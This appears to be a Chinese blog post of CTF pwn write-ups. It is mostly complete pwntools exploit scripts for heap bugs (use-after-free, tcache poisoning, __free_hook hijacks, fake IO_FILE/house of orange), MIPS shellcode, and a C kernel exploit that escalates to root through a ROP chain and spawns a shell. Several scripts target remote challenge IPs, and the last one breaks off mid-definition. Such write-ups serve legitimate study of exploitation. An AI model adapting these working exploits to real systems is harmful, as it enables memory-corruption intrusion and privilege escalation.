随便打打,打完太湖杯,到处玩一玩,放松下
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendlineafter('choice:',str(ch)) |
4 | def init(): |
5 | menu(1) |
6 | def create(): |
7 | menu(2) |
8 | def new(size): |
9 | menu(3) |
10 | p.sendlineafter('size:',str(size)) |
11 | def Set(content): |
12 | menu(4) |
13 | p.sendafter('content:',content) |
14 | def show(): |
15 | menu(5) |
16 | def size(): |
17 | menu(6) |
18 | p = process('./main') |
19 | elf =ELF('./main') |
20 | libc =ELF('./libc-2.23.so') |
21 | context.log_level = 'DEBUG' |
22 | init() |
23 | create() |
24 | init() |
25 | show() |
26 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x68 |
27 | log.info('LIBC:\t' + hex(libc_base)) |
28 | create() |
29 | new(0x10) |
30 | show() |
31 | p.recvuntil('show:\n') |
32 | p.recv(8) |
33 | heap = u64(p.recv(8)) |
34 | log.info('HEAP:\t' + hex(heap)) |
35 | new(0x100) |
36 | create() |
37 | Set('\x00'*0x10 + p64(libc_base + libc.sym['free']) + p64(0x21) + p64(heap) + p64(libc_base + libc.sym['__free_hook'])) |
38 | Set(p64(libc_base + 0xF1207)) |
39 | size() |
40 | p.interactive() |
1 | from pwn import* |
2 | #context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('>> ',str(ch)) |
5 | def new(idx,content): |
6 | menu(1) |
7 | p.sendlineafter('index?',str(idx)) |
8 | p.sendafter('name?',content) |
9 | def free(index): |
10 | menu(2) |
11 | p.sendlineafter('index?',str(index)) |
12 | def show(index): |
13 | menu(3) |
14 | p.sendlineafter('index?',str(index)) |
15 | def gift(index): |
16 | menu(5) |
17 | p.sendlineafter('steal?',str(index)) |
18 | p = process('./main') |
19 | p = remote('8.131.69.237',32452) |
20 | libc =ELF('./libc-2.29.so') |
21 | for i in range(9): |
22 | new(i,'FMYY') |
23 | for i in range(9): |
24 | free(8 - i) |
25 | for i in range(7): |
26 | new(i,'FMYY') |
27 | new(7,'\xF0') |
28 | show(7) |
29 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x1C0 - 0x100 |
30 | log.info('LIBC:\t' + hex(libc_base)) |
31 | new(8,'FMYY') |
32 | |
33 | for i in range(7): |
34 | free(6 - i) |
35 | free(7) |
36 | gift(8) |
37 | for i in range(7): |
38 | new(i,'FMYY') |
39 | menu(6) |
40 | new(7,'\x00'*0xD0 + p64(0) + p64(0x111) + '\x00'*0x20) |
41 | free(6) |
42 | free(8) |
43 | free(7) |
44 | new(7,'\x00'*0xD0 + p64(0) + p64(0x111) + p64(libc_base + libc.sym['__free_hook'])) |
45 | new(8,'/bin/sh\x00') |
46 | new(6,p64(libc_base + libc.sym['system'])) |
47 | free(8) |
48 | p.interactive() |
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | p = process('./main') |
4 | p = remote('112.126.71.170',45123) |
5 | elf =ELF('./main') |
6 | libc =ELF('./libc-2.23.so') |
7 | p.sendline('1') |
8 | sleep(0.1) |
9 | p.sendline('2') |
10 | sleep(0.1) |
11 | p.sendline('0') |
12 | sleep(0.1) |
13 | p.sendline('3') |
14 | sleep(0.1) |
15 | p.sendline('0') |
16 | sleep(0.1) |
17 | p.sendline(p64(0x60203D)) |
18 | sleep(0.1) |
19 | p.sendline('1') |
20 | sleep(0.1) |
21 | p.sendline('1') |
22 | sleep(0.1) |
23 | p.sendline('3') |
24 | sleep(0.1) |
25 | p.sendline('2') |
26 | sleep(0.1) |
27 | p.send('\x00'*0x13 + p64(elf.got['free']) + p64(0x602060)) |
28 | sleep(0.1) |
29 | p.sendline('4') |
30 | sleep(0.1) |
31 | p.sendline('0') |
32 | sleep(0.1) |
33 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['free'] |
34 | log.info('LIBC:\t' + hex(libc_base)) |
35 | p.sendline('3') |
36 | sleep(0.1) |
37 | p.sendline('3') |
38 | sleep(0.1) |
39 | p.sendline('1') |
40 | sleep(0.1) |
41 | p.sendline(p64(libc_base + libc.sym['__free_hook']) + p64(0x602070)) |
42 | sleep(0.1) |
43 | p.sendline('3') |
44 | sleep(0.1) |
45 | p.sendline('0') |
46 | sleep(0.1) |
47 | p.sendline(p64(libc_base + libc.sym['system'])) |
48 | sleep(0.1) |
49 | p.sendline('3') |
50 | sleep(0.1) |
51 | p.sendline('1') |
52 | sleep(0.1) |
53 | p.sendline('/bin/bash') |
54 | sleep(0.1) |
55 | p.sendline('2') |
56 | sleep(0.1) |
57 | p.sendline('1') |
58 | sleep(0.1) |
59 | p.interactive() |
1 | from pwn import* |
2 | def S(ch): |
3 | p.sendlineafter('>',str(ch)) |
4 | def alloc(size,content): |
5 | S(1) |
6 | S(size) |
7 | p.sendafter('>',content) |
8 | def free(): |
9 | S(2) |
10 | |
11 | def mallopt(param,n): |
12 | S(3) |
13 | S(param) |
14 | S(n) |
15 | def gift(size,content): |
16 | S(4) |
17 | S(size) |
18 | p.sendafter('>',content) |
19 | p = process('./main') |
20 | libc =ELF('./libc-2.23.so') |
21 | p.recvuntil('Your Gift : ') |
22 | libc_base = int(p.recv(14),16) - libc.sym['puts'] |
23 | log.info('LIBC:\t' + hex(libc_base)) |
24 | S(0x4FF) |
25 | S('FMYY') |
26 | alloc(0x18,'FMYY') |
27 | free() |
28 | alloc(0x18,'FMYY') |
29 | mallopt(1,7) |
30 | mallopt(1,0x78) |
31 | gift(0x4FF,'\x78') |
32 | IO_list_all = libc_base + libc.sym['_IO_list_all'] |
33 | IO_str_jumps = libc_base +libc.symbols['_IO_file_jumps'] + 0xC0 |
34 | fake_IO = p64(0) + p64(0) |
35 | fake_IO += p64(0) + p64(0) |
36 | fake_IO += p64(0) + p64(1) |
37 | fake_IO += p64(0) + p64(libc_base+libc.search('/bin/sh').next()) |
38 | fake_IO = fake_IO.ljust(0xD8,'\x00') |
39 | fake_IO += p64(IO_str_jumps - 8) |
40 | fake_IO += p64(0) + p64(libc_base + libc.sym['system']) |
41 | |
42 | gift(0x470,fake_IO) |
43 | gift(0x410,'\x00'*8 + p64(libc_base + libc.sym['__malloc_hook'] + 1400 + 0x10)) |
44 | S(5) |
45 | p.interactive() |
简单的利用small bin和 tcache的任意写,知道思路,半个小时就能写出来exp,有点个人问题,这里就不放出来了
1 | unsigned int64 mychrdev_unlocked_ioctl(int64 fd, int cmd, int64 user_ptr) |
2 | { |
3 | process_name = (const char *)(string + 4); |
4 | memcpy($rsp+0x4, process_name ,strlen(process_name) + 1); |
5 | var_2 = *(_QWORD *)(mydata + 0x10008); |
6 | var_1 = *(_DWORD *)(mydata + 0x10000); |
7 | *($rsp + 0x20) = mydata; |
8 | *($rsp + 0x14) = 0x10000 - var_2; |
9 | *($rsp + 0x18) = (var_2 - var_1)&0xFFFFFFFF; |
10 | copy_to_user(user_ptr, ($rsp+0x0), 0x28LL); |
11 | } |
取了当前运行的程序的名字放入栈上, 然后把栈上的数据传给用户
从*($rsp + 0x20) = mydata; 和栈上残留信息能够拿到栈地址和全局变量 mydata指针的地址
1 | signed int64 mychrdev_write(int64 fd, int64 user_ptr, int64 nbytes, int64 *($rsp + 0x70)) |
2 | { |
3 | var_1 = *($rsp + 0x70); |
4 | if ( var_1 > 0xFFFFLL && var_1 >= *(mydata + 0x10008)) |
5 | return false; |
6 | if ((var_1 + nbytes) > 0x10000 ) |
7 | nbytes = (-(short int)var_1)&0xFFFF; |
8 | if ( copy_from_user(mydata + *(mydata + 0x10000) + var_1, user_ptr, nbytes) ) |
9 | return false; |
10 | *($rsp + 0x70) += nbytes; |
11 | *(mydata + 0x10008) += nbytes; |
可以设置read和write的第四个参数指针的值,即前面$rsp+0x70处的数值
漏洞点在于nbytes = (-(short int)var_1)&0xFFFF;虽然判断总大小越界
1 | .text:00000000000002B6 mov ebx, 10000h |
2 | .text:00000000000002BB sub rbx, rdx |
3 | .text:00000000000002BE movzx ebx, bx |
edx则是llseek设置的值,如果等于0x10001,那么sub rbx,rdx之后,则rbx=0xFFFFFFFFFFFFFFFF,那么之后作为nbytes=0xFFFF,而偏移则是从0x10001起始
经过此操作之后,copy_from_user依旧能够执行,之后越界覆盖0x10000和0x10008位置的数值,通过偏移计算,之后则会实现任意写,qemu执行又开启了smep保护,所以不能直接ret2usr,因此用最朴素的ROP方法
1 | // gcc exp.c -o exp -masm=intel -static |
2 |
|
3 |
|
4 |
|
5 |
|
6 |
|
7 |
|
8 |
|
9 |
|
10 |
|
11 |
|
12 |
|
13 |
|
14 |
|
15 |
|
16 |
|
17 |
|
18 | size_t commit_creds = 0xFFFFFFFF8108D340, prepare_kernel_cred = 0xFFFFFFFF8108D690; |
19 | size_t user_cs, user_ss, user_rflags, user_sp; |
20 | size_t data[0x4000]; |
21 | size_t mydata; |
22 | size_t stack; |
23 | void save_status() |
24 | { |
25 | __asm__("mov user_cs, cs;" |
26 | "mov user_ss, ss;" |
27 | "mov user_sp, rsp;" |
28 | "pushf;" |
29 | "pop user_rflags;" |
30 | ); |
31 | puts("[*]Status Has Been Saved."); |
32 | } |
33 | size_t find_symbols() |
34 | { |
35 | FILE* kallsyms_fd = fopen("/proc/kallsyms", "r"); |
36 | |
37 | if(kallsyms_fd < 0) |
38 | { |
39 | puts("[*]open kallsyms error!"); |
40 | exit(0); |
41 | } |
42 | |
43 | char buf[0x30] = {0}; |
44 | while(fgets(buf, 0x30, kallsyms_fd)) |
45 | { |
46 | if(commit_creds & prepare_kernel_cred) |
47 | return 0; |
48 | |
49 | if(strstr(buf, "commit_creds") && !commit_creds) |
50 | { |
51 | char hex[20] = {0}; |
52 | strncpy(hex, buf, 16); |
53 | sscanf(hex, "%llx", &commit_creds); |
54 | printf("Commit_Creds: %p\n", commit_creds); |
55 | } |
56 | |
57 | if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) |
58 | { |
59 | char hex[20] = {0}; |
60 | strncpy(hex, buf, 16); |
61 | sscanf(hex, "%llx", &prepare_kernel_cred); |
62 | printf("Prepare_Kernel_Cred: %p\n", prepare_kernel_cred); |
63 | } |
64 | } |
65 | |
66 | if(!(prepare_kernel_cred & commit_creds)) |
67 | { |
68 | puts("[*]Error!"); |
69 | exit(0); |
70 | } |
71 | |
72 | } |
73 | void get_root() |
74 | { |
75 | char* (*pkc)(int) = prepare_kernel_cred; |
76 | void (*cc)(char*) = commit_creds; |
77 | (*cc)((*pkc)(0)); |
78 | } |
79 | |
80 | void get_shell() |
81 | { |
82 | system("/bin/sh"); |
83 | } |
84 | |
85 | int main() |
86 | { |
87 | save_status(); |
88 | signal(SIGSEGV, get_shell); |
89 | signal(SIGTRAP, get_shell); |
90 | int fd = open("/dev/mychrdev",O_WRONLY); |
91 | ioctl(fd,0x1111,data); |
92 | mydata = data[4]; |
93 | stack = (data[2] | 0xFFFFC90000000000) - 0x10; |
94 | printf("[+] mydata at: %p\n",mydata); |
95 | printf("[+] Stack at: %p\n",stack); |
96 | write(fd,data,0xF000); |
97 | lseek64(fd,0x100,0); |
98 | write(fd,data,0x10000); |
99 | lseek64(fd,0x10001,0); |
100 | data[0] = stack - mydata; |
101 | data[1] = stack - mydata + 0x10000; |
102 | write(fd,(char*)data+1,0x10000); |
103 | size_t off = stack&0xFF; |
104 | lseek64(fd,off,0); |
105 | int i = 0; |
106 | data[i++] = pop_rdi_ret; |
107 | data[i++] = 0; |
108 | data[i++] = prepare_kernel_cred; |
109 | data[i++] = xchg_rax_rdi; |
110 | data[i++] = commit_creds; |
111 | data[i++] = swapgs_popfq_ret;// swapgs; popfq; ret |
112 | data[i++] = 0; // rflags |
113 | data[i++] = 0; |
114 | data[i++] = iretq;// iretq; ret; |
115 | data[i++] = (size_t)get_shell;// rip |
116 | |
117 | data[i++] = user_cs;// cs |
118 | data[i++] = user_rflags;// rflags |
119 | data[i++] = user_sp;// rsp |
120 | data[i++] = user_ss;// ss |
121 | write(fd,data,0x100); |
122 | } |
参考Nu1L战队的exp改的,然后自己调试了下,太久没做Kernel题,遇到LKM也是懵的了,顺便复习了一下Kernel的基础知识
]]>mips pwn,UAF漏洞,给了stack地址,利用edit处leak出canary,然后double free申请到栈上修改返回地址为堆地址,提前在堆上布置shellcode
1 | from pwn import* |
2 | context.binary = './main' |
3 | #context.log_level = 'DEBUG' |
4 | def menu(ch): |
5 | p.sendlineafter('choice',str(ch)) |
6 | def new(idx,content): |
7 | menu(1) |
8 | p.sendlineafter('id',str(idx)) |
9 | p.sendafter('content',content) |
10 | def free(index): |
11 | menu(2) |
12 | p.sendlineafter('id!',str(index)) |
13 | def message(mess): |
14 | menu(3) |
15 | p.sendafter('?',mess) |
16 | #p = process('qemu-mipsel -g 1234 -L . ./main.bak',shell=True) |
17 | #p = process('qemu-mipsel -L . ./main.bak',shell=True) |
18 | p = remote('121.36.166.138',8889) |
19 | libc =ELF('./libc-2.23.so') |
20 | p.sendafter('motto!','FMYY') |
21 | p.recvuntil('gift for you: ') |
22 | stack = int(p.recv(10),16) + 0x20 |
23 | log.info('Stack:\t' + hex(stack)) |
24 | message('F'*(0x21-4) + 'FMYY') |
25 | p.recvuntil('FMYY') |
26 | canary = u32(p.recv(3).rjust(4,'\x00')) |
27 | log.info('Canary:\t' + hex(canary)) |
28 | message('\x00'*0x18 + 'FMYY' + p32(0x41) + '\x00') |
29 | shellcode = "" |
30 | shellcode += "\xFF\xFF\x10\x04\xAB\x0F\x02\x24" |
31 | shellcode += "\x55\xF0\x46\x20\x66\x06\xFF\x23" |
32 | shellcode += "\xC2\xF9\xEC\x23\x66\x06\xBD\x23" |
33 | shellcode += "\x9A\xF9\xAC\xAF\x9E\xF9\xA6\xAF" |
34 | shellcode += "\x9A\xF9\xBD\x23\x21\x20\x80\x01" |
35 | shellcode += "\x21\x28\xA0\x03\xCC\xCD\x44\x03" |
36 | shellcode += "/bin/sh" |
37 | new(1,'FMYY') |
38 | new(2,'FMYY') |
39 | free(1) |
40 | free(2) |
41 | free(1) |
42 | new(3,p32(stack)) |
43 | new(4,'\x00') |
44 | p.recvuntil('is: ') |
45 | heap_base = u32(p.recv(3).ljust(4,'\x00')) |
46 | log.info('HEAP:\t' + hex(heap_base)) |
47 | new(5,shellcode) |
48 | new(6,p32(canary) + p32(0) + p32(heap_base + 0x78)) |
49 | menu(4) |
50 | p.interactive() |
realloc导致UAF,当size=0的时候 就是一个free的效果,先利用gift位置leak 出libc,然后tcache poisoning 攻击free_hook即可
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('choice:',str(ch)) |
5 | def new(index,size,content): |
6 | menu(1) |
7 | p.sendlineafter('index:',str(index)) |
8 | p.sendlineafter('size:',str(size)) |
9 | p.sendafter('content:',content) |
10 | def free(index): |
11 | menu(3) |
12 | p.sendlineafter('index:',str(index)) |
13 | def edit(index,size,content): |
14 | menu(2) |
15 | p.sendlineafter('index:',str(index)) |
16 | p.sendlineafter('size:',str(size)) |
17 | p.sendafter('content:',content) |
18 | def show(index): |
19 | menu(4) |
20 | p.sendlineafter('index',str(index)) |
21 | def F(index): |
22 | menu(2) |
23 | p.sendlineafter('index:',str(index)) |
24 | p.sendlineafter('size:',str(0)) |
25 | p = process('./main') |
26 | p = remote('119.3.89.93',8011) |
27 | libc =ELF('./libc-2.29.so') |
28 | for i in range(9): |
29 | new(i,0x10,'FMYY') |
30 | for i in range(7): |
31 | free(8 - i) |
32 | F(0) |
33 | F(1) |
34 | edit(1,0x10,'\x50') |
35 | new(2,0x10,'FMYY') |
36 | new(3,0x10,'/bin/sh\x00') |
37 | menu(666) |
38 | p.recvuntil('there is a gift: ') |
39 | libc_base = int(p.recv(14),16) - libc.sym['printf'] - 0x201910 |
40 | log.info('LIBC:\t' + hex(libc_base)) |
41 | p.sendline('FMYY') |
42 | new(4,0x50,'FMYY') |
43 | F(4) |
44 | edit(4,0x50,'\x00'*0x10) |
45 | F(4) |
46 | menu(666) |
47 | p.sendline(p64(libc_base + libc.sym['__free_hook'])) |
48 | menu(666) |
49 | p.sendline('FMYY') |
50 | menu(666) |
51 | p.sendline(p64(libc_base + libc.sym['system'])) |
52 | free(3) |
53 | p.interactive() |
add申请的时候,如果size不符合条件,会返回,而edit的时候,没有检测,所以通过残留信息来控制指针,实现任意写
1 | from pwn import* |
2 | #context.log_level = 'DEBUG' |
3 | context.binary = './main' |
4 | def init(string1,string2): |
5 | p.sendafter('Input String1:',string1) |
6 | p.sendafter('Input String2:',string2) |
7 | def menu(ch): |
8 | p.sendlineafter('>>>',str(ch)) |
9 | def new(name,index,size,content,sign=1): |
10 | menu(1) |
11 | p.sendafter('Input Name of Staff:',name) |
12 | p.sendlineafter('Input Number of Staff:',str(index)) |
13 | p.sendlineafter('Input len of Info:',str(size)) |
14 | p.sendafter('get Info:',content) |
15 | def rename(index,name): |
16 | menu(2) |
17 | p.sendlineafter('Input Number:',str(index)) |
18 | p.sendlineafter('Info','1') |
19 | p.sendafter('name:',name) |
20 | def reinfo(index,size,content): |
21 | menu(2) |
22 | p.sendlineafter('Input Number:',str(index)) |
23 | p.sendlineafter('Info','2') |
24 | p.sendlineafter('Input len of Info:',str(size)) |
25 | p.sendafter('info:',content) |
26 | def free(index): |
27 | menu(3) |
28 | p.sendlineafter('Input Number of Staff:',str(index)) |
29 | def show(index): |
30 | menu(4) |
31 | p.sendlineafter('Input staff number:',str(index)) |
32 | p = process('./main') |
33 | p = remote('122.112.231.25',8005) |
34 | libc =ELF('./libc-2.23.so') |
35 | init('\x01F\n','\x02!\n') |
36 | new('fmyy',0,0x80,'FMYY') |
37 | new('fmyy',1,0x80,'FMYY') |
38 | new('fmyy',2,0x10,'FMYY') |
39 | free(1) |
40 | free(0) |
41 | new('FMYYSSSS',0,0x40,'\xA0') |
42 | show(0) |
43 | p.recvuntil('FMYYSSSS') |
44 | heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x60 |
45 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x90 |
46 | log.info('HEAP:\t' + hex(heap_base)) |
47 | log.info('LIBC:\t' + hex(libc_base)) |
48 | new('fmyy',1,0x20,'FMYY') |
49 | #################################### |
50 | free_hook = libc_base + libc.sym['__free_hook'] |
51 | |
52 | pop_rdi_ret = libc_base + 0x0000000000021112 |
53 | pop_rsi_ret = libc_base + 0x00000000000202F8 |
54 | pop_rdx_ret = libc_base + 0x0000000000001B92 |
55 | syscall = libc_base + libc.sym['syscall'] + 23 |
56 | |
57 | Open = libc_base + libc.symbols["open"] |
58 | Read = libc_base + libc.symbols["read"] |
59 | Puts = libc_base + libc.symbols['puts'] |
60 | IO_str_jumps = libc_base + 0x3C37A0 |
61 | ret = libc_base + 0x937 |
62 | fake_IO_FILE = p64(0) + p64(0) |
63 | fake_IO_FILE += p64(0) + p64(1) |
64 | fake_IO_FILE += p64(0) + p64(heap_base + 0x520) |
65 | fake_IO_FILE = fake_IO_FILE.ljust(0xC8,'\x00') |
66 | fake_IO_FILE += p64(IO_str_jumps - 8) |
67 | fake_IO_FILE += p64(0) + p64(libc_base + libc.sym['setcontext'] + 53) |
68 | |
69 | orw = p64(pop_rdi_ret)+p64(heap_base + 0x778) |
70 | orw += p64(pop_rsi_ret)+p64(0) |
71 | orw += p64(Open) |
72 | orw += p64(pop_rdi_ret) + p64(3) |
73 | orw += p64(pop_rdx_ret) + p64(0x30) |
74 | orw += p64(pop_rsi_ret) + p64(heap_base) |
75 | orw += p64(Read) |
76 | orw += p64(pop_rdi_ret) + p64(heap_base) |
77 | orw += p64(Puts) |
78 | orw = orw.ljust(0xE8,'\x00') |
79 | orw += './flag\x00\x00' |
80 | |
81 | |
82 | frame = SigreturnFrame() |
83 | frame.rsp = heap_base + 0x690 |
84 | frame.rip = ret |
85 | |
86 | #################################### |
87 | |
88 | new(p64(heap_base) + p64(0x100),3,0x38,'\x00'*0x30 + p64(heap_base + 0x310)) |
89 | reinfo(3,0x10,'FMYY') |
90 | |
91 | menu(1) |
92 | p.sendafter('Input Name of Staff:',p64(heap_base + 0x2F0) + p64(0x10)) |
93 | p.sendlineafter('Input Number of Staff:','4') |
94 | p.sendlineafter('Input len of Info:',str(0x101)) |
95 | new('fmyy',5,0x100,fake_IO_FILE) |
96 | reinfo(4,0x10,p64(free_hook)) |
97 | rename(4,p64(libc_base + libc.sym['exit'])) |
98 | |
99 | reinfo(4,0x10,p64(libc_base+libc.symbols['_IO_list_all'])) |
100 | rename(4,p64(heap_base + 0x3A0)) |
101 | |
102 | new('fmyy',6,0x100,str(frame)) |
103 | new('fmyy',7,0x100,orw) |
104 | free(0) |
105 | p.interactive() |
UAF,直接利用name的位置构造一个fake chunk,劫持指针修改lock值,实现任意写
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('on...',str(ch)) |
5 | def new(size,name,content): |
6 | menu(1) |
7 | p.sendlineafter('book:',str(size)) |
8 | p.sendafter('name :',name) |
9 | p.sendafter('book:',content) |
10 | def free(index): |
11 | menu(2) |
12 | p.sendlineafter('delete??',str(index)) |
13 | def modify(index,content): |
14 | menu(3) |
15 | p.sendlineafter('modify',str(index)) |
16 | p.sendafter('content:',content) |
17 | def rename(name): |
18 | menu(4) |
19 | p.sendafter('name:',name) |
20 | def edit(index,content): |
21 | menu(5) |
22 | p.sendlineafter('modify',str(index)) |
23 | p.sendafter('content:',content) |
24 | p = process('./main') |
25 | elf =ELF('./main') |
26 | libc =ELF('./libc-2.23.so') |
27 | p.sendafter('name:','\x00'*0x20 + p64(0) + p64(0x71)) |
28 | new(0x20,'FMYY','fmyy') |
29 | free(0) |
30 | free(0) |
31 | new(0x60,'FMYY','fmyy') |
32 | new(0x21,p64(0x100000001) + p64(1) + p64(0x602150),'fmyy') |
33 | free(0) |
34 | new(0x60,'\x00'*0x40 + p64(0x6020D0),'fmyy') |
35 | edit(0,p64(0xDEAD2CFEF)) |
36 | modify(0,'\x00'*0x40 + p64(elf.got['free'])) |
37 | edit(0,p64(elf.plt['puts'])[0:7]) |
38 | modify(0,'\x00'*0x40 + p64(0x602390 + 0x18)) |
39 | edit(0,p64(0x602390 + 0x18) + p64(0) + p64(elf.got['read'])) |
40 | free(1) |
41 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['read'] |
42 | log.info('LIBC:\t' + hex(libc_base)) |
43 | |
44 | modify(0,'\x00'*0x40 + p64(elf.got['puts'])) |
45 | edit(0,p64(libc_base + 0xF1207)) |
46 | p.interactive() |
UAF漏洞,利用gift中的malloc 爆破 从而布置堆,partional write修改chunk头 释放进unsorted bin拿到libc,最后利用house of orange 配合scanf时的malloc空间 getshell
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendlineafter('Exit',str(ch)) |
4 | def new(size,content): |
5 | menu(1) |
6 | p.sendlineafter('Size:',str(size)) |
7 | p.sendafter('Content:',content) |
8 | def free(index): |
9 | menu(2) |
10 | p.sendlineafter('delete?',str(index)) |
11 | def show(index): |
12 | menu(3) |
13 | p.sendlineafter('view?',str(index)) |
14 | def gift(content): |
15 | menu(5) |
16 | p.sendline(content) |
17 | p = process('./main') |
18 | libc =ELF('./libc-2.23.so') |
19 | for i in range(3): |
20 | gift('FMYY') |
21 | new(0x18,p64(0) + p64(0x51) + p64(0)) |
22 | new(0x40,'\x00'*0x30 + p64(0) + p64(0x21)) |
23 | new(0x40,'FMYY\n') |
24 | new(0x40,'FMYY\n') |
25 | free(1) |
26 | free(2) |
27 | free(1) |
28 | new(0x40,'\n') |
29 | new(0x40,'FMYY\n') |
30 | new(0x40,'FMYY\n') |
31 | new(0x40,p64(0) + p64(0xA1) + '\n') |
32 | free(1) |
33 | show(1) |
34 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x68 |
35 | log.info('LIBC:\t' + hex(libc_base)) |
36 | |
37 | system = libc_base + libc.sym['system'] |
38 | binsh=libc_base+next(libc.search('/bin/sh')) |
39 | unsorted_bins = libc_base + libc.sym['__malloc_hook'] + 0x10 + 88 |
40 | IO_list_all = libc_base + libc.sym['_IO_list_all'] |
41 | IO_str_jumps = libc_base + 0x3C37A0 |
42 | |
43 | fake_IO_FILE = p64(0) + p64(0x61) + p64(unsorted_bins) + p64(IO_list_all -0x10)#make the IO_list_all ->fd =main_arena+88 |
44 | fake_IO_FILE += p64(0) + p64(1) |
45 | fake_IO_FILE += p64(0) + p64(binsh) |
46 | fake_IO_FILE = fake_IO_FILE.ljust(0xD8,'\x00') |
47 | fake_IO_FILE += p64(IO_str_jumps -8) |
48 | fake_IO_FILE += p64(0) + p64(system) |
49 | |
50 | free(3) |
51 | free(7) |
52 | new(0x40,fake_IO_FILE[0:0x40]) |
53 | new(0x40,fake_IO_FILE[0xB0:]) |
54 | menu('1'*0x500) |
55 | p.interactive() |
挺简单的堆
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendlineafter('>>',str(ch)) |
4 | def new(): |
5 | menu(1) |
6 | def show(index): |
7 | menu(2) |
8 | p.sendlineafter('?',str(index)) |
9 | def edit(index,size,content): |
10 | menu(3) |
11 | p.sendlineafter('?',str(index)) |
12 | p.sendlineafter(':',str(size)) |
13 | p.sendafter(':',content) |
14 | def free(index): |
15 | menu(4) |
16 | p.sendlineafter('?',str(index)) |
17 | p = process('./main') |
18 | p = remote('47.111.104.169',57303) |
19 | libc =ELF('./libc-2.27.so') |
20 | for i in range(10): |
21 | new() |
22 | for i in range(9,2,-1): |
23 | free(i) |
24 | |
25 | free(0) |
26 | free(1) |
27 | free(2) |
28 | |
29 | for i in range(7): |
30 | new() |
31 | new() |
32 | new() |
33 | new() |
34 | |
35 | free(8) |
36 | |
37 | for i in range(6): |
38 | free(i) |
39 | free(7) |
40 | for i in range(6): |
41 | new() |
42 | new() # 7 TARGET |
43 | edit(7,0xF8,'FMYY') |
44 | |
45 | for i in range(7): |
46 | free(i) |
47 | free(9) |
48 | |
49 | for i in range(7): |
50 | new() |
51 | new() |
52 | show(7) |
53 | |
54 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 0x60 |
55 | log.info('LIBC:\t' + hex(libc_base)) |
56 | free_hook = libc_base + libc.sym['__free_hook'] |
57 | system = libc_base + libc.sym['system'] |
58 | new() #9 |
59 | |
60 | for i in range(5): |
61 | free(i) |
62 | free(7) |
63 | free(9) |
64 | |
65 | new() |
66 | edit(0,0xF0,p64(free_hook)) |
67 | new() |
68 | edit(1,0xF0,'/bin/sh') |
69 | new() |
70 | edit(2,0xF0,p64(system)) |
71 | free(1) |
72 | p.interactive() |
异常的时候有个栈溢出,然后会跳回到main函数的结束位置,迁移到堆上执行ROP
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendlineafter('choice >',str(ch)) |
4 | def show_name(index): |
5 | menu(1) |
6 | def new(content): |
7 | menu(2) |
8 | p.sendafter('input note:',content) |
9 | def free(index): |
10 | menu(3) |
11 | p.sendlineafter('index>',str(index)) |
12 | def show(): |
13 | menu(4) |
14 | def gift(content): |
15 | menu(666) |
16 | p.sendlineafter(':',content) |
17 | |
18 | p = process('./main') |
19 | p = remote('47.111.104.99',51504) |
20 | libc =ELF('./libc-2.23.so') |
21 | p.sendlineafter(':','%11$p') |
22 | menu(1) |
23 | p.recvuntil('Current user:') |
24 | libc_base = int(p.recv(14),16) - libc.sym['__libc_start_main'] - 240 |
25 | log.info('LIBC:\t' + hex(libc_base)) |
26 | new('FMYY\n') |
27 | new('FMYY'*2*4 + p64(libc_base + 0x4527A) + '\n') |
28 | free(1) |
29 | free(0) |
30 | show() |
31 | p.recvuntil('index 1:') |
32 | heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x1C80 |
33 | log.info('HEAP:\t' + hex(heap_base)) |
34 | gift('FMYY'*2*4 + p64(heap_base + 0x1C80 + 0x28)[0:7]) |
35 | p.interactive() |
非预期,按照Google CTF 的sprint逆向改的一个Pwn题,如果要逆出来,确实有点难度,但是可以直接跳过,最后就一个简单栈溢出
1 | from pwn import* |
2 | p = process('./main') |
3 | p = remote('47.111.96.55',55106) |
4 | elf =ELF('./main') |
5 | libc =ELF('./libc-2.23.so') |
6 | for i in range(16): |
7 | p.sendline('32') |
8 | pop_rdi_ret = 0x0000000000401213 |
9 | payload = p64(elf.got['read']) + p64(pop_rdi_ret) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(0x4007D4) + p64(elf.plt['puts']) |
10 | p.sendline(payload) |
11 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['read'] |
12 | log.info('LIBC:\t' + hex(libc_base)) |
13 | |
14 | payload = '\x00'*8 + p64(libc_base + 0xF1207) |
15 | p.sendline(payload) |
16 | p.interactive() |
堆风水,直到比赛结束都没有布置出一个合理的堆结构,赛后花了两个小时成功构造出来,懒得再一步布置了,概率1/256爆破吧
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendlineafter('choice:',str(ch)) |
4 | def realloc(size,content): |
5 | menu(1) |
6 | p.sendlineafter('Size:',str(size)) |
7 | p.sendafter('Data:',content) |
8 | def free(): |
9 | menu(1) |
10 | p.sendlineafter('Size:',str(0)) |
11 | def R(size,content): |
12 | p.sendline('1') |
13 | sleep(0.1) |
14 | p.sendline(str(size)) |
15 | sleep(0.1) |
16 | p.send(content) |
17 | sleep(0.1) |
18 | def F(): |
19 | p.sendline('1') |
20 | sleep(0.1) |
21 | p.sendline('0') |
22 | sleep(0.1) |
